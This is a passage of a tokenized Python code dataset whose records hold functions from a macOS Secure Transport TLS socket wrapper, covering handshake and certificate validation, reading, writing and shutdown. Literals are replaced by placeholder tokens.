'<STR_LIT>')<EOL>result = Security.SSLGetNumberSupportedCiphers(session_context, supported_ciphers_pointer)<EOL>handle_sec_error(result)<EOL>supported_ciphers = deref(supported_ciphers_pointer)<EOL>cipher_buffer = buffer_from_bytes(supported_ciphers * <NUM_LIT:4>)<EOL>supported_cipher_suites_pointer = cast(Security, '<STR_LIT>', cipher_buffer)<EOL>result = Security.SSLGetSupportedCiphers(<EOL>session_context,<EOL>supported_cipher_suites_pointer,<EOL>supported_ciphers_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>supported_ciphers = deref(supported_ciphers_pointer)<EOL>supported_cipher_suites = array_from_pointer(<EOL>Security,<EOL>'<STR_LIT>',<EOL>supported_cipher_suites_pointer,<EOL>supported_ciphers<EOL>)<EOL>good_ciphers = []<EOL>for supported_cipher_suite in supported_cipher_suites:<EOL><INDENT>cipher_suite = int_to_bytes(supported_cipher_suite, width=<NUM_LIT:2>)<EOL>cipher_suite_name = CIPHER_SUITE_MAP.get(cipher_suite, cipher_suite)<EOL>good_cipher = _cipher_blacklist_regex.search(cipher_suite_name) is None<EOL>if good_cipher:<EOL><INDENT>good_ciphers.append(supported_cipher_suite)<EOL><DEDENT><DEDENT>num_good_ciphers = len(good_ciphers)<EOL>good_ciphers_array = new(Security, '<STR_LIT>', num_good_ciphers)<EOL>array_set(good_ciphers_array, good_ciphers)<EOL>good_ciphers_pointer = cast(Security, '<STR_LIT>', good_ciphers_array)<EOL>result = Security.SSLSetEnabledCiphers(<EOL>session_context,<EOL>good_ciphers_pointer,<EOL>num_good_ciphers<EOL>)<EOL>handle_sec_error(result)<EOL>peer_id = self._session._peer_id + self._hostname.encode('<STR_LIT:utf-8>')<EOL>result = Security.SSLSetPeerID(session_context, peer_id, len(peer_id))<EOL>handle_sec_error(result)<EOL>handshake_result = Security.SSLHandshake(session_context)<EOL>if self._exception is not None:<EOL><INDENT>exception = self._exception<EOL>self._exception = None<EOL>raise exception<EOL><DEDENT>while handshake_result == SecurityConst.errSSLWouldBlock:<EOL><INDENT>handshake_result = Security.SSLHandshake(session_context)<EOL>if self._exception is not None:<EOL><INDENT>exception = self._exception<EOL>self._exception = None<EOL>raise exception<EOL><DEDENT><DEDENT>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>) and osx_version_info >= (<NUM_LIT:10>, <NUM_LIT:7>):<EOL><INDENT>do_validation = explicit_validation and handshake_result == <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>do_validation = explicit_validation and handshake_result == SecurityConst.errSSLServerAuthCompleted<EOL><DEDENT>if do_validation:<EOL><INDENT>trust_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLCopyPeerTrust(<EOL>session_context,<EOL>trust_ref_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>trust_ref = unwrap(trust_ref_pointer)<EOL>cf_string_hostname = CFHelpers.cf_string_from_unicode(self._hostname)<EOL>ssl_policy_ref = Security.SecPolicyCreateSSL(True, cf_string_hostname)<EOL>result = CoreFoundation.CFRelease(cf_string_hostname)<EOL>handle_cf_error(result)<EOL>ocsp_oid_pointer = struct(Security, '<STR_LIT>')<EOL>ocsp_oid = unwrap(ocsp_oid_pointer)<EOL>ocsp_oid.Length = len(SecurityConst.APPLE_TP_REVOCATION_OCSP)<EOL>ocsp_oid_buffer = buffer_from_bytes(SecurityConst.APPLE_TP_REVOCATION_OCSP)<EOL>ocsp_oid.Data = cast(Security, '<STR_LIT>', ocsp_oid_buffer)<EOL>ocsp_search_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecPolicySearchCreate(<EOL>SecurityConst.CSSM_CERT_X_509v3,<EOL>ocsp_oid_pointer,<EOL>null(),<EOL>ocsp_search_ref_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>ocsp_search_ref = unwrap(ocsp_search_ref_pointer)<EOL>ocsp_policy_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecPolicySearchCopyNext(ocsp_search_ref, ocsp_policy_ref_pointer)<EOL>handle_sec_error(result)<EOL>ocsp_policy_ref = unwrap(ocsp_policy_ref_pointer)<EOL>ocsp_struct_pointer = struct(Security, '<STR_LIT>')<EOL>ocsp_struct = unwrap(ocsp_struct_pointer)<EOL>ocsp_struct.Version = SecurityConst.CSSM_APPLE_TP_OCSP_OPTS_VERSION<EOL>ocsp_struct.Flags = (<EOL>SecurityConst.CSSM_TP_ACTION_OCSP_DISABLE_NET |<EOL>SecurityConst.CSSM_TP_ACTION_OCSP_CACHE_READ_DISABLE<EOL>)<EOL>ocsp_struct_bytes = struct_bytes(ocsp_struct_pointer)<EOL>cssm_data_pointer = struct(Security, '<STR_LIT>')<EOL>cssm_data = unwrap(cssm_data_pointer)<EOL>cssm_data.Length = len(ocsp_struct_bytes)<EOL>ocsp_struct_buffer = buffer_from_bytes(ocsp_struct_bytes)<EOL>cssm_data.Data = cast(Security, '<STR_LIT>', ocsp_struct_buffer)<EOL>result = Security.SecPolicySetValue(ocsp_policy_ref, cssm_data_pointer)<EOL>handle_sec_error(result)<EOL>crl_oid_pointer = struct(Security, '<STR_LIT>')<EOL>crl_oid = unwrap(crl_oid_pointer)<EOL>crl_oid.Length = len(SecurityConst.APPLE_TP_REVOCATION_CRL)<EOL>crl_oid_buffer = buffer_from_bytes(SecurityConst.APPLE_TP_REVOCATION_CRL)<EOL>crl_oid.Data = cast(Security, '<STR_LIT>', crl_oid_buffer)<EOL>crl_search_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecPolicySearchCreate(<EOL>SecurityConst.CSSM_CERT_X_509v3,<EOL>crl_oid_pointer,<EOL>null(),<EOL>crl_search_ref_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>crl_search_ref = unwrap(crl_search_ref_pointer)<EOL>crl_policy_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecPolicySearchCopyNext(crl_search_ref, crl_policy_ref_pointer)<EOL>handle_sec_error(result)<EOL>crl_policy_ref = unwrap(crl_policy_ref_pointer)<EOL>crl_struct_pointer = struct(Security, '<STR_LIT>')<EOL>crl_struct = unwrap(crl_struct_pointer)<EOL>crl_struct.Version = SecurityConst.CSSM_APPLE_TP_CRL_OPTS_VERSION<EOL>crl_struct.CrlFlags = <NUM_LIT:0><EOL>crl_struct_bytes = struct_bytes(crl_struct_pointer)<EOL>cssm_data_pointer = struct(Security, '<STR_LIT>')<EOL>cssm_data = unwrap(cssm_data_pointer)<EOL>cssm_data.Length = len(crl_struct_bytes)<EOL>crl_struct_buffer = buffer_from_bytes(crl_struct_bytes)<EOL>cssm_data.Data = cast(Security, '<STR_LIT>', crl_struct_buffer)<EOL>result = Security.SecPolicySetValue(crl_policy_ref, cssm_data_pointer)<EOL>handle_sec_error(result)<EOL>policy_array_ref = CFHelpers.cf_array_from_list([<EOL>ssl_policy_ref,<EOL>crl_policy_ref,<EOL>ocsp_policy_ref<EOL>])<EOL>result = Security.SecTrustSetPolicies(trust_ref, policy_array_ref)<EOL>handle_sec_error(result)<EOL>if self._session._extra_trust_roots:<EOL><INDENT>ca_cert_refs = []<EOL>ca_certs = []<EOL>for cert in self._session._extra_trust_roots:<EOL><INDENT>ca_cert = load_certificate(cert)<EOL>ca_certs.append(ca_cert)<EOL>ca_cert_refs.append(ca_cert.sec_certificate_ref)<EOL><DEDENT>result = Security.SecTrustSetAnchorCertificatesOnly(trust_ref, False)<EOL>handle_sec_error(result)<EOL>array_ref = CFHelpers.cf_array_from_list(ca_cert_refs)<EOL>result = Security.SecTrustSetAnchorCertificates(trust_ref, array_ref)<EOL>handle_sec_error(result)<EOL><DEDENT>result_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecTrustEvaluate(trust_ref, result_pointer)<EOL>handle_sec_error(result)<EOL>trust_result_code = deref(result_pointer)<EOL>invalid_chain_error_codes = set([<EOL>SecurityConst.kSecTrustResultProceed,<EOL>SecurityConst.kSecTrustResultUnspecified<EOL>])<EOL>if trust_result_code not in invalid_chain_error_codes:<EOL><INDENT>handshake_result = SecurityConst.errSSLXCertChainInvalid<EOL><DEDENT>else:<EOL><INDENT>handshake_result = Security.SSLHandshake(session_context)<EOL>while handshake_result == SecurityConst.errSSLWouldBlock:<EOL><INDENT>handshake_result = Security.SSLHandshake(session_context)<EOL><DEDENT><DEDENT><DEDENT>self._done_handshake = True<EOL>handshake_error_codes = set([<EOL>SecurityConst.errSSLXCertChainInvalid,<EOL>SecurityConst.errSSLCertExpired,<EOL>SecurityConst.errSSLCertNotYetValid,<EOL>SecurityConst.errSSLUnknownRootCert,<EOL>SecurityConst.errSSLNoRootCert,<EOL>SecurityConst.errSSLHostNameMismatch,<EOL>SecurityConst.errSSLInternal,<EOL>])<EOL>if handshake_result in handshake_error_codes:<EOL><INDENT>trust_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLCopyPeerTrust(<EOL>session_context,<EOL>trust_ref_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>trust_ref = unwrap(trust_ref_pointer)<EOL>result_code_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SecTrustGetCssmResultCode(trust_ref, result_code_pointer)<EOL>result_code = deref(result_code_pointer)<EOL>chain = extract_chain(self._server_hello)<EOL>self_signed = False<EOL>revoked = False<EOL>expired = False<EOL>not_yet_valid = False<EOL>no_issuer = False<EOL>cert = None<EOL>bad_hostname = False<EOL>if chain:<EOL><INDENT>cert = chain[<NUM_LIT:0>]<EOL>oscrypto_cert = load_certificate(cert)<EOL>self_signed = oscrypto_cert.self_signed<EOL>revoked = result_code == SecurityConst.CSSMERR_TP_CERT_REVOKED<EOL>no_issuer = not self_signed and result_code == SecurityConst.CSSMERR_TP_NOT_TRUSTED<EOL>expired = result_code == SecurityConst.CSSMERR_TP_CERT_EXPIRED<EOL>not_yet_valid = result_code == SecurityConst.CSSMERR_TP_CERT_NOT_VALID_YET<EOL>bad_hostname = result_code == SecurityConst.CSSMERR_APPLETP_HOSTNAME_MISMATCH<EOL>if osx_version_info >= (<NUM_LIT:10>, <NUM_LIT:12>):<EOL><INDENT>validity = cert['<STR_LIT>']['<STR_LIT>']<EOL>not_before = validity['<STR_LIT>'].chosen.native<EOL>not_after = validity['<STR_LIT>'].chosen.native<EOL>utcnow = datetime.datetime.now(timezone.utc)<EOL>expired = not_after < utcnow<EOL>not_yet_valid = not_before > utcnow<EOL><DEDENT><DEDENT>if chain and chain[<NUM_LIT:0>].hash_algo in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise_weak_signature(chain[<NUM_LIT:0>])<EOL><DEDENT>if revoked:<EOL><INDENT>raise_revoked(cert)<EOL><DEDENT>if bad_hostname:<EOL><INDENT>raise_hostname(cert, self._hostname)<EOL><DEDENT>elif expired or not_yet_valid:<EOL><INDENT>raise_expired_not_yet_valid(cert)<EOL><DEDENT>elif no_issuer:<EOL><INDENT>raise_no_issuer(cert)<EOL><DEDENT>elif self_signed:<EOL><INDENT>raise_self_signed(cert)<EOL><DEDENT>if detect_client_auth_request(self._server_hello):<EOL><INDENT>raise_client_auth()<EOL><DEDENT>raise_verification(cert)<EOL><DEDENT>if handshake_result == SecurityConst.errSSLPeerHandshakeFail:<EOL><INDENT>if detect_client_auth_request(self._server_hello):<EOL><INDENT>raise_client_auth()<EOL><DEDENT>raise_handshake()<EOL><DEDENT>if handshake_result == SecurityConst.errSSLWeakPeerEphemeralDHKey:<EOL><INDENT>raise_dh_params()<EOL><DEDENT>if handshake_result == SecurityConst.errSSLPeerProtocolVersion:<EOL><INDENT>raise_protocol_version()<EOL><DEDENT>if handshake_result in set([SecurityConst.errSSLRecordOverflow, SecurityConst.errSSLProtocol]):<EOL><INDENT>self._server_hello += _read_remaining(self._socket)<EOL>raise_protocol_error(self._server_hello)<EOL><DEDENT>if handshake_result in set([SecurityConst.errSSLClosedNoNotify, SecurityConst.errSSLClosedAbort]):<EOL><INDENT>if not self._done_handshake:<EOL><INDENT>self._server_hello += _read_remaining(self._socket)<EOL><DEDENT>if detect_other_protocol(self._server_hello):<EOL><INDENT>raise_protocol_error(self._server_hello)<EOL><DEDENT>raise_disconnection()<EOL><DEDENT>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:10>):<EOL><INDENT>dh_params_length = get_dh_params_length(self._server_hello)<EOL>if dh_params_length is not None and dh_params_length < <NUM_LIT>:<EOL><INDENT>raise_dh_params()<EOL><DEDENT><DEDENT>would_block = handshake_result == SecurityConst.errSSLWouldBlock<EOL>server_auth_complete = handshake_result == SecurityConst.errSSLServerAuthCompleted<EOL>manual_validation = self._session._manual_validation and server_auth_complete<EOL>if not would_block and not manual_validation:<EOL><INDENT>handle_sec_error(handshake_result, TLSError)<EOL><DEDENT>self._session_context = session_context<EOL>protocol_const_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLGetNegotiatedProtocolVersion(<EOL>session_context,<EOL>protocol_const_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>protocol_const = deref(protocol_const_pointer)<EOL>self._protocol = _PROTOCOL_CONST_STRING_MAP[protocol_const]<EOL>cipher_int_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLGetNegotiatedCipher(<EOL>session_context,<EOL>cipher_int_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>cipher_int = deref(cipher_int_pointer)<EOL>cipher_bytes = int_to_bytes(cipher_int, width=<NUM_LIT:2>)<EOL>self._cipher_suite = CIPHER_SUITE_MAP.get(cipher_bytes, cipher_bytes)<EOL>session_info = parse_session_info(<EOL>self._server_hello,<EOL>self._client_hello<EOL>)<EOL>self._compression = session_info['<STR_LIT>']<EOL>self._session_id = session_info['<STR_LIT>']<EOL>self._session_ticket = session_info['<STR_LIT>']<EOL><DEDENT>except (OSError, socket_.error):<EOL><INDENT>if session_context:<EOL><INDENT>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>result = Security.SSLDisposeContext(session_context)<EOL>handle_sec_error(result)<EOL><DEDENT>else:<EOL><INDENT>result = CoreFoundation.CFRelease(session_context)<EOL>handle_cf_error(result)<EOL><DEDENT><DEDENT>self._session_context = None<EOL>self.close()<EOL>raise<EOL><DEDENT>finally:<EOL><INDENT>if ssl_policy_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(ssl_policy_ref)<EOL>handle_cf_error(result)<EOL>ssl_policy_ref = None<EOL><DEDENT>if crl_policy_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(crl_policy_ref)<EOL>handle_cf_error(result)<EOL>crl_policy_ref = None<EOL><DEDENT>if ocsp_policy_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(ocsp_policy_ref)<EOL>handle_cf_error(result)<EOL>ocsp_policy_ref = None<EOL><DEDENT>if policy_array_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(policy_array_ref)<EOL>handle_cf_error(result)<EOL>policy_array_ref = None<EOL><DEDENT><DEDENT>", "docstring": "Perform an initial TLS handshake", "id": "f9507:c1:m2"}
{"signature": "def read(self, max_length):", "body": "if not isinstance(max_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(max_length)<EOL>))<EOL><DEDENT>if self._session_context is None:<EOL><INDENT>if self._decrypted_bytes != b'<STR_LIT>':<EOL><INDENT>output = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>return output<EOL><DEDENT>self._raise_closed()<EOL><DEDENT>buffered_length = len(self._decrypted_bytes)<EOL>if buffered_length >= max_length:<EOL><INDENT>output = self._decrypted_bytes[<NUM_LIT:0>:max_length]<EOL>self._decrypted_bytes = self._decrypted_bytes[max_length:]<EOL>return output<EOL><DEDENT>if buffered_length > <NUM_LIT:0> and not self.select_read(<NUM_LIT:0>):<EOL><INDENT>output = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>return output<EOL><DEDENT>to_read = max_length - len(self._decrypted_bytes)<EOL>read_buffer = buffer_from_bytes(to_read)<EOL>processed_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLRead(<EOL>self._session_context,<EOL>read_buffer,<EOL>to_read,<EOL>processed_pointer<EOL>)<EOL>if self._exception is not None:<EOL><INDENT>exception = self._exception<EOL>self._exception = None<EOL>raise exception<EOL><DEDENT>if result and result not in set([SecurityConst.errSSLWouldBlock, SecurityConst.errSSLClosedGraceful]):<EOL><INDENT>handle_sec_error(result, TLSError)<EOL><DEDENT>if result and result == SecurityConst.errSSLClosedGraceful:<EOL><INDENT>self._gracefully_closed = True<EOL>self._shutdown(False)<EOL>self._raise_closed()<EOL><DEDENT>bytes_read = deref(processed_pointer)<EOL>output = self._decrypted_bytes + bytes_from_buffer(read_buffer, bytes_read)<EOL>self._decrypted_bytes = output[max_length:]<EOL>return output[<NUM_LIT:0>:max_length]<EOL>", "docstring": "Reads data from the TLS-wrapped socket\n\n:param max_length:\n    The number of bytes to read - output may be less than this\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a TLS-related error occurs\n    oscrypto.errors.TLSDisconnectError - when the connection disconnects\n    oscrypto.errors.TLSGracefulDisconnectError - when the remote end gracefully closed the connection\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the data read", "id": "f9507:c1:m3"}
{"signature": "def select_read(self, timeout=None):", "body": "<EOL>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>read_ready, _, _ = select.select([self._socket], [], [], timeout)<EOL>return len(read_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be read from, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for data to be read. None for\n    no time limit.\n\n:return:\n    A boolean - if data is ready to be read. Will only be False if\n    timeout is not None.", "id": "f9507:c1:m4"}
{"signature": "def read_until(self, marker):", "body": "if not isinstance(marker, byte_cls) and not isinstance(marker, Pattern):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(marker)<EOL>))<EOL><DEDENT>output = b'<STR_LIT>'<EOL>is_regex = isinstance(marker, Pattern)<EOL>while True:<EOL><INDENT>if len(self._decrypted_bytes) > <NUM_LIT:0>:<EOL><INDENT>chunk = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>to_read = self._os_buffered_size() or <NUM_LIT><EOL>chunk = self.read(to_read)<EOL><DEDENT>offset = len(output)<EOL>output += chunk<EOL>if is_regex:<EOL><INDENT>match = marker.search(output)<EOL>if match is not None:<EOL><INDENT>end = match.end()<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>start = max(<NUM_LIT:0>, offset - len(marker) - <NUM_LIT:1>)<EOL>match = output.find(marker, start)<EOL>if match != -<NUM_LIT:1>:<EOL><INDENT>end = match + len(marker)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self._decrypted_bytes = output[end:] + self._decrypted_bytes<EOL>return output[<NUM_LIT:0>:end]<EOL>", "docstring": "Reads data from the socket until a marker is found. Data read includes\nthe marker.\n\n:param marker:\n    A byte string or regex object from re.compile(). Used to determine\n    when to stop reading. Regex objects are more inefficient since\n    they must scan the entire byte string of read data each time data\n    is read off the socket.\n\n:return:\n    A byte string of the data read, including the marker", "id": "f9507:c1:m5"}
{"signature": "def _os_buffered_size(self):", "body": "num_bytes_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLGetBufferedReadSize(<EOL>self._session_context,<EOL>num_bytes_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>return deref(num_bytes_pointer)<EOL>", "docstring": "Returns the number of bytes of decrypted data stored in the Secure\nTransport read buffer. This amount of data can be read from SSLRead()\nwithout calling self._socket.recv().\n\n:return:\n    An integer - the number of available bytes", "id": "f9507:c1:m6"}
{"signature": "def read_line(self):", "body": "return self.read_until(_line_regex)<EOL>", "docstring": "r\"\"\"\n        Reads a line from the socket, including the line ending of \"\\r\\n\", \"\\r\",\n        or \"\\n\"\n\n        :return:\n            A byte string of the next line from the socket", "id": "f9507:c1:m7"}
{"signature": "def read_exactly(self, num_bytes):", "body": "output = b'<STR_LIT>'<EOL>remaining = num_bytes<EOL>while remaining > <NUM_LIT:0>:<EOL><INDENT>output += self.read(remaining)<EOL>remaining = num_bytes - len(output)<EOL><DEDENT>return output<EOL>", "docstring": "Reads exactly the specified number of bytes from the socket\n\n:param num_bytes:\n    An integer - the exact number of bytes to read\n\n:return:\n    A byte string of the data that was read", "id": "f9507:c1:m8"}
{"signature": "def write(self, data):", "body": "if self._session_context is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>processed_pointer = new(Security, '<STR_LIT>')<EOL>data_len = len(data)<EOL>while data_len:<EOL><INDENT>write_buffer = buffer_from_bytes(data)<EOL>result = Security.SSLWrite(<EOL>self._session_context,<EOL>write_buffer,<EOL>data_len,<EOL>processed_pointer<EOL>)<EOL>if self._exception is not None:<EOL><INDENT>exception = self._exception<EOL>self._exception = None<EOL>raise exception<EOL><DEDENT>handle_sec_error(result, TLSError)<EOL>bytes_written = deref(processed_pointer)<EOL>data = data[bytes_written:]<EOL>data_len = len(data)<EOL>if data_len > <NUM_LIT:0>:<EOL><INDENT>self.select_write()<EOL><DEDENT><DEDENT>", "docstring": "Writes data to the TLS-wrapped socket\n\n:param data:\n    A byte string to write to the socket\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a TLS-related error occurs\n    oscrypto.errors.TLSDisconnectError - when the connection disconnects\n    oscrypto.errors.TLSGracefulDisconnectError - when the remote end gracefully closed the connection\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9507:c1:m9"}
{"signature": "def select_write(self, timeout=None):", "body": "_, write_ready, _ = select.select([], [self._socket], [], timeout)<EOL>return len(write_ready) > <NUM_LIT:0><EOL>", "docstring": "Blocks until the socket is ready to be written to, or the timeout is hit\n\n:param timeout:\n    A float - the period of time to wait for the socket to be ready to\n    written to. None for no time limit.\n\n:return:\n    A boolean - if the socket is ready for writing. Will only be False\n    if timeout is not None.", "id": "f9507:c1:m10"}
{"signature": "def _shutdown(self, manual):", "body": "if self._session_context is None:<EOL><INDENT>return<EOL><DEDENT>result = Security.SSLClose(self._session_context)<EOL>if osx_version_info < (<NUM_LIT:10>, <NUM_LIT:8>):<EOL><INDENT>result = Security.SSLDisposeContext(self._session_context)<EOL>handle_sec_error(result)<EOL><DEDENT>else:<EOL><INDENT>result = CoreFoundation.CFRelease(self._session_context)<EOL>handle_cf_error(result)<EOL><DEDENT>self._session_context = None<EOL>if manual:<EOL><INDENT>self._local_closed = True<EOL><DEDENT>try:<EOL><INDENT>self._socket.shutdown(socket_.SHUT_RDWR)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Shuts down the TLS session and then shuts down the underlying socket\n\n:param manual:\n    A boolean if the connection was manually shutdown", "id": "f9507:c1:m11"}
{"signature": "def shutdown(self):", "body": "self._shutdown(True)<EOL>", "docstring": "Shuts down the TLS session and then shuts down the underlying socket", "id": "f9507:c1:m12"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.shutdown()<EOL><DEDENT>finally:<EOL><INDENT>if self._socket:<EOL><INDENT>try:<EOL><INDENT>self._socket.close()<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>self._socket = None<EOL><DEDENT>if self._connection_id in _socket_refs:<EOL><INDENT>del _socket_refs[self._connection_id]<EOL><DEDENT><DEDENT>", "docstring": "Shuts down the TLS session and socket and forcibly closes it", "id": "f9507:c1:m13"}
{"signature": "def _read_certificates(self):", "body": "trust_ref = None<EOL>cf_data_ref = None<EOL>result = None<EOL>try:<EOL><INDENT>trust_ref_pointer = new(Security, '<STR_LIT>')<EOL>result = Security.SSLCopyPeerTrust(<EOL>self._session_context,<EOL>trust_ref_pointer<EOL>)<EOL>handle_sec_error(result)<EOL>trust_ref = unwrap(trust_ref_pointer)<EOL>number_certs = Security.SecTrustGetCertificateCount(trust_ref)<EOL>self._intermediates = []<EOL>for index in range(<NUM_LIT:0>, number_certs):<EOL><INDENT>sec_certificate_ref = Security.SecTrustGetCertificateAtIndex(<EOL>trust_ref,<EOL>index<EOL>)<EOL>cf_data_ref = Security.SecCertificateCopyData(sec_certificate_ref)<EOL>cert_data = CFHelpers.cf_data_to_bytes(cf_data_ref)<EOL>result = CoreFoundation.CFRelease(cf_data_ref)<EOL>handle_cf_error(result)<EOL>cf_data_ref = None<EOL>cert = x509.Certificate.load(cert_data)<EOL>if index == <NUM_LIT:0>:<EOL><INDENT>self._certificate = cert<EOL><DEDENT>else:<EOL><INDENT>self._intermediates.append(cert)<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if trust_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(trust_ref)<EOL>handle_cf_error(result)<EOL><DEDENT>if cf_data_ref:<EOL><INDENT>result = CoreFoundation.CFRelease(cf_data_ref)<EOL>handle_cf_error(result)<EOL><DEDENT><DEDENT>", "docstring": "Reads end-entity and intermediate certificate information from the\nTLS session", "id": "f9507:c1:m14"}
{"signature": "def _raise_closed(self):", "body": "if self._local_closed:<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>elif self._gracefully_closed:<EOL><INDENT>raise TLSGracefulDisconnectError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises an exception describing if the local or remote end closed the\nconnection", "id": "f9507:c1:m15"}
{"signature": "@property<EOL><INDENT>def certificate(self):<DEDENT>", "body": "if self._session_context is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._certificate<EOL>", "docstring": "An asn1crypto.x509.Certificate object of the end-entity certificate\npresented by the server", "id": "f9507:c1:m16"}
{"signature": "@property<EOL><INDENT>def intermediates(self):<DEDENT>", "body": "if self._session_context is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if self._certificate is None:<EOL><INDENT>self._read_certificates()<EOL><DEDENT>return self._intermediates<EOL>", "docstring": "A list of asn1crypto.x509.Certificate objects that were presented as\nintermediates by the server", "id": "f9507:c1:m17"}
{"signature": "@property<EOL><INDENT>def cipher_suite(self):<DEDENT>", "body": "return self._cipher_suite<EOL>", "docstring": "A unicode string of the IANA cipher suite name of the negotiated\ncipher suite", "id": "f9507:c1:m18"}
{"signature": "@property<EOL><INDENT>def protocol(self):<DEDENT>", "body": "return self._protocol<EOL>", "docstring": "A unicode string of: \"TLSv1.2\", \"TLSv1.1\", \"TLSv1\", \"SSLv3\"", "id": "f9507:c1:m19"}
{"signature": "@property<EOL><INDENT>def compression(self):<DEDENT>", "body": "return self._compression<EOL>", "docstring": "A boolean if compression is enabled", "id": "f9507:c1:m20"}
{"signature": "@property<EOL><INDENT>def session_id(self):<DEDENT>", "body": "return self._session_id<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9507:c1:m21"}
{"signature": "@property<EOL><INDENT>def session_ticket(self):<DEDENT>", "body": "return self._session_ticket<EOL>", "docstring": "A unicode string of \"new\" or \"reused\" or None for no ticket", "id": "f9507:c1:m22"}
{"signature": "@property<EOL><INDENT>def session(self):<DEDENT>", "body": "return self._session<EOL>", "docstring": "The oscrypto.tls.TLSSession object used for this connection", "id": "f9507:c1:m23"}
{"signature": "@property<EOL><INDENT>def hostname(self):<DEDENT>", "body": "return self._hostname<EOL>", "docstring": "A unicode string of the TLS server domain name or IP address", "id": "f9507:c1:m24"}
{"signature": "@property<EOL><INDENT>def port(self):<DEDENT>", "body": "return self.socket.getpeername()[<NUM_LIT:1>]<EOL>", "docstring": "An integer of the port number the socket is connected to", "id": "f9507:c1:m25"}
{"signature": "@property<EOL><INDENT>def socket(self):<DEDENT>", "body": "if self._session_context is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>return self._socket<EOL>", "docstring": "The underlying socket.socket connection", "id": "f9507:c1:m26"}
{"signature": "def handle_sec_error(error, exception_class=None):", "body": "if error == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if error in set([SecurityConst.errSSLClosedNoNotify, SecurityConst.errSSLClosedAbort]):<EOL><INDENT>raise TLSDisconnectError('<STR_LIT>')<EOL><DEDENT>if error == SecurityConst.errSSLClosedGraceful:<EOL><INDENT>raise TLSGracefulDisconnectError('<STR_LIT>')<EOL><DEDENT>cf_error_string = Security.SecCopyErrorMessageString(error, null())<EOL>output = CFHelpers.cf_string_to_unicode(cf_error_string)<EOL>CoreFoundation.CFRelease(cf_error_string)<EOL>if output is None or output == '<STR_LIT>':<EOL><INDENT>output = '<STR_LIT>' % error<EOL><DEDENT>if exception_class is None:<EOL><INDENT>exception_class = OSError<EOL><DEDENT>raise exception_class(output)<EOL>", "docstring": "Checks a Security OSStatus error code and throws an exception if there is an\nerror to report\n\n:param error:\n    An OSStatus\n\n:param exception_class:\n    The exception class to use for the exception if an error occurred\n\n:raises:\n    OSError - when the OSStatus contains an error", "id": "f9508:m0"}
{"signature": "@classmethod<EOL><INDENT>def register_native_mapping(cls, type_id, callback):<DEDENT>", "body": "cls._native_map[int(type_id)] = callback<EOL>", "docstring": "Register a function to convert a core foundation data type into its\nequivalent in python\n\n:param type_id:\n    The CFTypeId for the type\n\n:param callback:\n    A callback to pass the CFType object to", "id": "f9510:c0:m0"}
